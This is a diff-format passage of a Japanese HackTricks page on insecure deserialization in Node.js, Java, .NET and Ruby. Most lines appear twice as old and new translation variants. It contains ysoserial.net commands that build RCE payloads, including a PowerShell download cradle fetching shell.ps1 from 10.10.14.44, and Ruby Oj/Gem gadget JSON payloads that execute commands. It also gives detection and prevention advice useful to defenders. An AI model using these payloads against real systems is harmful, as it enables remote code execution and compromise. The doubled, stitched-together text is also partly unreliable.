**funcster**の注目すべき点は、**標準の組み込みオブジェクト**へのアクセスが不可能であることです; それらはアクセス可能なスコープの外にあります。この制限により、組み込みオブジェクトのメソッドを呼び出そうとするコードの実行が妨げられ、`console.log()`や`require(something)`のようなコマンドを使用すると、`"ReferenceError: console is not defined"`のような例外が発生します。
この制限にもかかわらず、特定のアプローチを通じて、すべての標準の組み込みオブジェクトを含むグローバルコンテキストへの完全なアクセスを復元することが可能です。グローバルコンテキストを直接利用することで、この制限を回避できます。たとえば、次のスニペットを使用してアクセスを再確立できます:
```javascript
@ -297,7 +297,7 @@ console.log(test) //function() { return "Hello world!" }
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
```
**詳細についてはこのソースを読んでください**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
**詳細については、[このソースを読む](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**
### Cryoライブラリ
@ -308,16 +308,16 @@ deserialize(test)
## Java - HTTP
Javaでは、**デシリアライズコールバックはデシリアライズのプロセス中に実行されます**。この実行は、これらのコールバックをトリガーする悪意のあるペイロードを作成する攻撃者によって悪用される可能性があり、有害なアクションの実行につながる可能性があります。
Javaでは、**デシリアライズ中にコールバックが実行されます**。この実行は、攻撃者がこれらのコールバックをトリガーする悪意のあるペイロードを作成することで悪用され、潜在的に有害なアクションの実行につながる可能性があります。
### フィンガープリント
#### ホワイトボックス
コードベース内の潜在的なシリアライズ脆弱性を特定するには、次のものを検索してください
コードベース内の潜在的なシリアライズ脆弱性を特定するには、次のものを検索します
* `Serializable`インターフェースを実装しているクラス。
* `java.io.ObjectInputStream`、`readObject`、`readUnshare`関数の使用。
* `java.io.ObjectInputStream`、`readObject`、`readUnshared`関数の使用。
特に注意を払うべき点:
@ -330,7 +330,7 @@ Javaでは、**デシリアライズコールバックはデシリアライズ
#### ブラックボックス
ブラックボックステストでは、javaシリアライズオブジェクトを示す特定の**シグネチャまたは「マジックバイト」**を探してください`ObjectInputStream`から発生):
ブラックボックステストでは、Javaシリアライズオブジェクトを示す特定の**シグネチャまたは「マジックバイト」**を探します`ObjectInputStream`から発生):
* 16進パターン`AC ED 00 05`。
* Base64パターン`rO0`。
@ -354,31 +354,31 @@ grep -R InvokeTransformer .
```
あなたは、**脆弱性が知られているすべてのライブラリを確認**し、[**Ysoserial**](https://github.com/frohoff/ysoserial)がエクスプロイトを提供できるかどうかを試すことができます。また、[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)に示されているライブラリを確認することもできます。\
[**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)を使用して、エクスプロイト可能な可能性のあるガジェットチェーンを検索することもできます。\
**gadgetinspector**を実行する際(ビルド後)は、発生する大量の警告/エラーを気にせず、完了するまで待ってください。すべての結果は_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_に書き込まれます。**gadgetinspectorはエクスプロイトを作成せず、偽陽性を示す可能性があることに注意してください**。
**gadgetinspector**を実行する際(ビルド後)は、発生する多数の警告/エラーを気にせず、完了するまで待ってください。すべての結果は_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_に書き込まれます。**gadgetinspectorはエクスプロイトを作成せず、偽陽性を示す可能性があることに注意してください**。
#### ブラックボックステスト
Burp拡張機能[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)を使用すると、**どのライブラリが利用可能か**(バージョンも含む)を特定できます。この情報をもとに、脆弱性をエクスプロイトするための**ペイロードを選択しやすくなる**かもしれません。\
Burp拡張機能[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)を使用すると、**どのライブラリが利用可能か**(バージョンも含む)を特定できます。この情報を使用すると、脆弱性をエクスプロイトするための**ペイロードを選択しやすくなる**可能性があります。\
[**GadgetProbeについて詳しく学ぶにはこちらをお読みください**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**。**\
GadgetProbeは**`ObjectInputStream`のデシリアライズ**に焦点を当てています。
Burp拡張機能[**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)を使用すると、**ysoserialでエクスプロイト可能な脆弱なライブラリを特定**し、**それらをエクスプロイト**できます。\
Burp拡張機能[**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)を使用すると、**ysoserialでエクスプロイト可能な脆弱なライブラリを特定**し、**エクスプロイト**できます。\
[**Java Deserialization Scannerについて詳しく学ぶにはこちらをお読みください。**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scannerは**`ObjectInputStream`**のデシリアライズに焦点を当てています。
[**Freddy**](https://github.com/nccgroup/freddy)を使用して、**Burp**内のデシリアライズの脆弱性を**検出**することもできます。このプラグインは、**`ObjectInputStream`**に関連する脆弱性だけでなく、**Json**および**Yml**デシリアライズライブラリからの脆弱性も検出します。アクティブモードでは、スリープまたはDNSペイロードを使用してそれらを確認しようとします。\
[**Freddy**](https://github.com/nccgroup/freddy)を使用して、**Burp**内のデシリアライズの脆弱性を**検出**することもできます。このプラグインは、**`ObjectInputStream`**関連の脆弱性だけでなく、**Json**および**Yml**デシリアライズライブラリの脆弱性も検出します。アクティブモードでは、スリープまたはDNSペイロードを使用して確認を試みます。\
[**Freddyについての詳細情報はこちらで確認できます。**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**シリアライズテスト**
サーバーが使用している脆弱なライブラリを確認することだけが全てではありません。時には、**シリアライズされたオブジェクト内のデータを変更していくつかのチェックをバイパスする**ことができるかもしれません(ウェブアプリ内で管理者権限を付与されるかもしれません)。\
ウェブアプリケーションに送信されるJavaシリアライズオブジェクトを見つけた場合、**[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)を使用して、送信されるシリアライズオブジェクトをより人間が読みやすい形式で印刷することができます**。送信しているデータを知ることで、それを変更していくつかのチェックをバイパスするのが容易になります。
サーバーが使用している脆弱なライブラリを確認するだけではありません。時には、**シリアライズされたオブジェクト内のデータを変更していくつかのチェックをバイパスする**ことができるかもしれません(ウェブアプリ内で管理者権限を付与るかもしれません)。\
ウェブアプリケーションに送信されるJavaシリアライズオブジェクトを見つけた場合、**[SerializationDumper](https://github.com/NickstaDB/SerializationDumper)**を使用して、送信されるシリアライズオブジェクトをより人間が読みやすい形式で印刷することができます。送信しているデータを知ることで、それを変更していくつかのチェックをバイパスするのが容易になります。
### **エクスプロイト**
#### **ysoserial**
Javaデシリアライズをエクスプロイトするための主なツールは[**ysoserial**](https://github.com/frohoff/ysoserial)です([**こちらからダウンロード**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))。また、複雑なコマンド(例えばパイプを使用)を使用できる[**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)の使用も検討できます。\
Javaデシリアライズをエクスプロイトするための主なツールは[**ysoserial**](https://github.com/frohoff/ysoserial)です([**こちらからダウンロード**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))。複雑なコマンド(例えばパイプを使用)を使用できる[**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)の使用も検討できます。\
このツールは**`ObjectInputStream`**のエクスプロイトに**焦点を当てている**ことに注意してください。\
**RCE**ペイロードの前に**「URLDNS」**ペイロードを使用して、注入が可能かどうかをテストすることを**お勧めします**。いずれにせよ、「URLDNS」ペイロードが機能しない場合でも、他のRCEペイロードが機能する可能性があることに注意してください。
```bash
@ -477,7 +477,7 @@ mvn clean package -DskipTests
```
#### FastJSON
このJava JSONライブラリについての詳細はこちらを参照してください: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
このJava JSONライブラリについての詳細はこちら: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
### Labs
@ -486,7 +486,7 @@ mvn clean package -DskipTests
### Why
Javaはさまざまな目的で多くのシリアル化を使用します。例えば:
Javaはさまざまな目的で多くのシリアル化を使用します:
* **HTTPリクエスト**: シリアル化は、パラメータ、ViewState、クッキーなどの管理に広く使用されています。
* **RMI (リモートメソッド呼び出し)**: Java RMIプロトコルは、シリアル化に完全に依存しており、Javaアプリケーションにおけるリモート通信の基盤です。
@ -541,11 +541,11 @@ return super.resolveClass(desc);
}
}
```
**セキュリティ強化のためのJavaエージェントの使用**は、コードの修正が不可能な場合のフォールバックソリューションを提供します。この方法は主に**有害なクラスのブラックリスト化**に適用され、JVMパラメータを使用します
**セキュリティ強化のためのJavaエージェントの使用**は、コードの修正が不可能な場合のフォールバックソリューションを提供します。この方法は主に**有害なクラスのブラックリスト化**に適用され、JVMパラメータを使用します:
```
-javaagent:name-of-agent.jar
```
動的にデシリアライズを保護する方法を提供し、即時のコード変更が実用的でない環境に最適です。
動的にデシリアライズを保護する方法を提供し、即時のコード変更が実用的でない環境に理想的です。
[rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)でのチェックと例
@ -575,12 +575,12 @@ ObjectInputFilter.Config.setSerialFilter(filter);
* デシリアライズとysoserialのトーク: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
* [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
* [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
* gadgetinspectorについてのトーク: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) およびスライド: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
* gadgetinspectorについてのトーク: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) スライド: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
* Marshalsec論文: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
* [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
* [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
* [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
* Javaと.NetのJSONデシリアライズ **論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** トーク: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) およびスライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* Javaと.NetのJSONデシリアライズ **論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** トーク: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) スライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* デシリアライズのCVE: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## JNDIインジェクション & log4Shell
@ -605,12 +605,12 @@ ObjectInputFilter.Config.setSerialFilter(filter);
### 悪用
基本的に、**危険な方法でJMSを使用しているサービスが多数存在します**。したがって、これらのサービスにメッセージを送信するための**十分な権限**がある場合(通常は有効な資格情報が必要)、**消費者/サブスクライバーによってデシリアライズされる悪意のあるシリアライズオブジェクトを送信できる可能性があります**。\
基本的に、**危険な方法でJMSを使用しているサービスが多数存在します**。したがって、これらのサービスにメッセージを送信するための**十分な権限**がある場合(通常は有効な資格情報が必要です)、**消費者/サブスクライバーによってデシリアライズされる悪意のあるシリアライズオブジェクトを送信できる可能性があります**。\
これは、この悪用において、**そのメッセージを使用するすべてのクライアントが感染する**ことを意味します。
サービスが脆弱である場合(ユーザー入力を安全でない方法でデシリアライズしているため)、脆弱性を悪用するための有効なガジェットを見つける必要があることを忘れないでください。
ツール[**JMET**](https://github.com/matthiaskaiser/jmet)は、**既知のガジェットを使用して悪意のあるシリアライズオブジェクトを送信するためにこれらのサービスに接続して攻撃する**ために作成されました。これらのエクスプロイトは、サービスが依然として脆弱であり、使用されるガジェットのいずれかが脆弱なアプリケーション内に存在する場合に機能します。
ツール[**JMET**](https://github.com/matthiaskaiser/jmet)は、**既知のガジェットを使用して悪意のあるシリアライズオブジェクトを送信することで、これらのサービスに接続して攻撃するために作成されました**。これらのエクスプロイトは、サービスが依然として脆弱であり、使用されるガジェットのいずれかが脆弱なアプリケーション内に存在する場合に機能します。
### 参考文献
@ -625,7 +625,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
#### ホワイトボックス
ソースコードを検査して、以下の出現を探すべきです
ソースコードを検査して、以下の出現を探すべきです
1. `TypeNameHandling`
2. `JavaScriptTypeResolver`
@ -634,28 +634,28 @@ ObjectInputFilter.Config.setSerialFilter(filter);
#### ブラックボックス
Base64エンコードされた文字列**AAEAAAD/////**または、サーバー側でデシリアライズされる可能性のある類似のパターンをターゲットにする必要があります。これには、`TypeObject`や`$type`を含む**JSON**または**XML**構造が含まれる可能性がありますが、これに限定されません。
Base64エンコードされた文字列**AAEAAAD/////**または、サーバー側でデシリアライズされる可能性のある類似のパターンをターゲットにする必要があります。これには、`TypeObject`や`$type`を含む**JSON****XML**構造が含まれる可能性がありますが、これに限定されません。
### ysoserial.net
この場合、ツール[**ysoserial.net**](https://github.com/pwntester/ysoserial.net)を使用して**デシリアライズの悪用を作成**できます。gitリポジトリをダウンロードしたら、Visual Studioなどを使用して**ツールをコンパイル**する必要があります。
この場合、ツール[**ysoserial.net**](https://github.com/pwntester/ysoserial.net)を使用して**デシリアライズの悪用を作成する**ことができます。gitリポジトリをダウンロードしたら、Visual Studioなどを使用して**ツールをコンパイル**する必要があります。
**ysoserial.netがどのように悪用を作成するか**について学びたい場合は、[**ObjectDataProviderガジェット + ExpandedWrapper + Json.Netフォーマッタについて説明しているこのページを確認してください**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)。
**ysoserial.netがどのように悪用を作成するか**について学びたい場合は、[**ObjectDataProviderガジェット + ExpandedWrapper + Json.Netフォーマッターが説明されているこのページを確認してください**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)。
**ysoserial.net**の主なオプションは、**`--gadget`**、**`--formatter`**、**`--output`**、および**`--plugin`**です。
* **`--gadget`**は、悪用するガジェットを示すために使用されます(デシリアライズ中にコマンドを実行するために悪用されるクラス/関数を示します)。
* **`--formatter`**は、悪用をシリアライズする方法を示すために使用されます(ペイロードをデシリアライズするためにバックエンドが使用しているライブラリを知り、それを使用してシリアライズする必要があります)。
* **`--output`**は、悪用を**生**または**base64**エンコードで取得したいかどうかを示すために使用されます。_注意してください、**ysoserial.net**はペイロードを**UTF-16LE**Windowsでデフォルトで使用されるエンコーディングを使用して**エンコード**するため、Linuxコンソールから生のペイロードをエンコードすると、悪用が正しく機能しない**エンコーディング互換性の問題**が発生する可能性がありますHTB JSONボックスではペイロードはUTF-16LEとASCIIの両方で機能しましたが、これは常に機能するとは限りません。_
* **`--output`**は、悪用を**生**または**base64**エンコードされた形式で取得したいかどうかを示すために使用されます。_注意してください、**ysoserial.net**はペイロードを**UTF-16LE**Windowsでデフォルトで使用されるエンコーディングを使用して**エンコード**しますので、生のペイロードを取得してLinuxコンソールからエンコードすると、悪用が正しく機能しない**エンコーディング互換性の問題**が発生する可能性がありますHTB JSONボックスではペイロードはUTF-16LEとASCIIの両方で機能しましたが、これは常に機能するとは限りません。_
* **`--plugin`**ysoserial.netは、ViewStateのような**特定のフレームワーク用の悪用を作成するためのプラグイン**をサポートしています。
#### 追加のysoserial.netパラメータ
* `--minify`は、**小さなペイロード**を提供します(可能な場合)。
* `--raf -f Json.Net -c "anything"`これは、提供されたフォーマッタ(この場合は`Json.Net`)で使用できるすべてのガジェットを示します。
* `--sf xml`は、**ガジェット**`-g`を示すことができ、ysoserial.netは「xml」を含むフォーマッタを検索します大文字と小文字を区別しません
* `--raf -f Json.Net -c "anything"`これは、提供されたフォーマッタ(この場合は`Json.Net`)で使用できるすべてのガジェットを示します。
* `--sf xml`は、**ガジェット**`-g`を示すことができ、ysoserial.netは「xml」を含むフォーマッタを検索します(大文字と小文字を区別しません)。
**ysoserialの例**を使用して悪用を作成します:
**ysoserialの例**を使用して悪用を作成します
```bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
@ -674,7 +674,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
```
**ysoserial.net** には、各エクスプロイトがどのように機能するかをよりよく理解するのに役立つ **非常に興味深いパラメータ** があります: `--test`\
このパラメータを指定すると、**ysoserial.net** は **ローカルでエクスプロイトを試みます** ので、ペイロードが正しく機能するかどうかをテストできます。\
このパラメータを指定すると、**ysoserial.net** は **ローカルで** **エクスプロイトを試みます** ので、ペイロードが正しく機能するかどうかをテストできます。\
このパラメータは便利です。なぜなら、コードをレビューすると、次のようなコードの断片が見つかるからです (from [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java
if (inputArgs.Test)
@ -701,11 +701,11 @@ return obj;
}
```
In the **前のコードは作成されたエクスプロイトに脆弱です**。したがって、.Netアプリケーションで類似のものを見つけた場合、そのアプリケーションも脆弱である可能性が高いです。\
したがって、**`--test`**パラメータは、**どのコードのチャンクが脆弱であるか**を理解するのに役立ちます。これは**ysoserial.net**が作成できるデシリアライズエクスプロイトです。
そのため、**`--test`**パラメータは、**どのコードのチャンクが**ysoserial.net**によって作成されるデシリアライズエクスプロイトに脆弱であるかを理解するのに役立ちます。**
### ViewState
[**.Netの\_\_ViewStateパラメータをエクスプロイトする方法についてのこのPOSTを見てください**](exploiting-\_\_viewstate-parameter.md) **任意のコードを実行するために。** もしあなたが**被害者マシンによって使用される秘密をすでに知っているなら、[**コードを実行する方法を知るためにこの投稿を読んでください**](exploiting-\_\_viewstate-knowing-the-secret.md)**。**
[**.Netの\_\_ViewStateパラメータをエクスプロイトする方法についてのこのPOST**](exploiting-\_\_viewstate-parameter.md)を見て、**任意のコードを実行する**方法を確認してください。もし**被害者のマシンで使用されている秘密をすでに知っている場合は、[**コードを実行する方法を知るためにこの投稿を読んでください**](exploiting-\_\_viewstate-knowing-the-secret.md)**。**
### Prevention
@ -723,14 +723,14 @@ In the **前のコードは作成されたエクスプロイトに脆弱です**
### **References**
* Javaと.NetのJSONデシリアライズに関する**論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**、** トーク: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) およびスライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* Javaと.NetのJSONデシリアライズに関する**論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**、**トーク: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) およびスライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp)
* [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf)
* [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
## **Ruby**
Rubyでは、シリアル化は**marshal**ライブラリ内の2つのメソッドによって促進されます。最初のメソッドは**dump**として知られ、オブジェクトをバイトストリームに変換するために使用されます。このプロセスはシリアル化と呼ばれます。逆に、2番目のメソッド**load**は、バイトストリームをオブジェクトに戻すために使用され、このプロセスはデシリアライズと呼ばれます。
Rubyでは、シリアル化は**marshal**ライブラリ内の2つのメソッドによって行われます。最初のメソッドは**dump**として知られ、オブジェクトをバイトストリームに変換するために使用されます。このプロセスはシリアル化と呼ばれます。逆に、2番目のメソッド**load**は、バイトストリームをオブジェクトに戻すために使用され、このプロセスはデシリアライズと呼ばれます。
シリアル化されたオブジェクトを保護するために、**RubyはHMACハッシュベースのメッセージ認証コード**を使用し、データの整合性と真正性を確保します。この目的のために使用されるキーは、いくつかの可能な場所のいずれかに保存されます:
@ -814,7 +814,7 @@ puts Base64.encode64(payload)
### Ruby .send() メソッド
[**この脆弱性レポート**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)で説明されているように、ユーザーの未サニタイズ入力がrubyオブジェクトの`.send()`メソッドに到達すると、このメソッドはオブジェクトの**任意の他のメソッド**任意のパラメータで呼び出すことを可します。
[**この脆弱性レポート**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)で説明されているように、ユーザーの未サニタイズ入力がrubyオブジェクトの`.send()`メソッドに到達すると、このメソッドはオブジェクトの**他の任意のメソッド**任意のパラメータで呼び出すことを可能にします。
例えば、evalを呼び出し、次にrubyコードを第二パラメータとして渡すことで、任意のコードを実行することができます:
@ -825,7 +825,7 @@ puts Base64.encode64(payload)
{% endcode %}
さらに、**`.send()`** のパラメータが攻撃者によって制御されている場合、前回の記述で述べたように、**引数を必要としない**か、**デフォルト値を持つ引数**を持つオブジェクトの任意のメソッドを呼び出すことが可能です。\
そのために、オブジェクトのすべてのメソッドを列挙して、**その要件を満たす興味深いメソッドを見つける**ことができます。
そのために、オブジェクトのすべてのメソッドを列挙して、**その要件を満たす興味深いメソッドを見つける**ことができます。
{% code overflow="wrap" %}
```ruby
@ -851,9 +851,72 @@ candidate_methods.length() # Final number of methods=> 3595
```
{% endcode %}
### その他のライブラリ
この技術は[ **このブログ記事**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm\_source=pocket\_shared)から取られました。
オブジェクトをシリアライズするために使用できる他のRubyライブラリがあり、したがって、安全でないデシリアライズ中にRCEを得るために悪用される可能性があります。以下の表は、これらのライブラリのいくつかと、それがデシリアライズされるときに呼び出されるメソッドを示しています基本的にRCEを得るために悪用する関数
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>ライブラリ</strong></td><td><strong>入力データ</strong></td><td><strong>クラス内のキックオフメソッド</strong></td></tr><tr><td>Marshal (Ruby)</td><td>バイナリ</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (クラスはハッシュ(マップ)にキーとして入れる必要があります)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (クラスはハッシュ(マップ)にキーとして入れる必要があります)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (クラスはハッシュ(マップ)にキーとして入れる必要があります)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([json_createに関するートを参照](#table-vulnerable-sinks)の最後)</td></tr></tbody></table>
基本的な例:
```ruby
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
```
Ojを悪用しようとした場合、`hash`関数内で`to_s`を呼び出し、次にspecを呼び出し、fetch\_pathを呼び出すガジェットクラスを見つけることができました。これにより、ランダムなURLを取得させることが可能になり、この種の未サニタイズのデシリアライズ脆弱性の優れた検出器を提供しました。
```json
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport","path": "/", "user": "anyuser", "password": "anypw"
}
```
さらに、前述の技術により、システムにフォルダーが作成されることが判明しました。これは、別のガジェットを悪用してこれを完全なRCEに変換するための要件です。
```json
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
```
詳細については、[**元の投稿**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm\_source=pocket\_shared)を確認してください。
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -861,7 +924,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}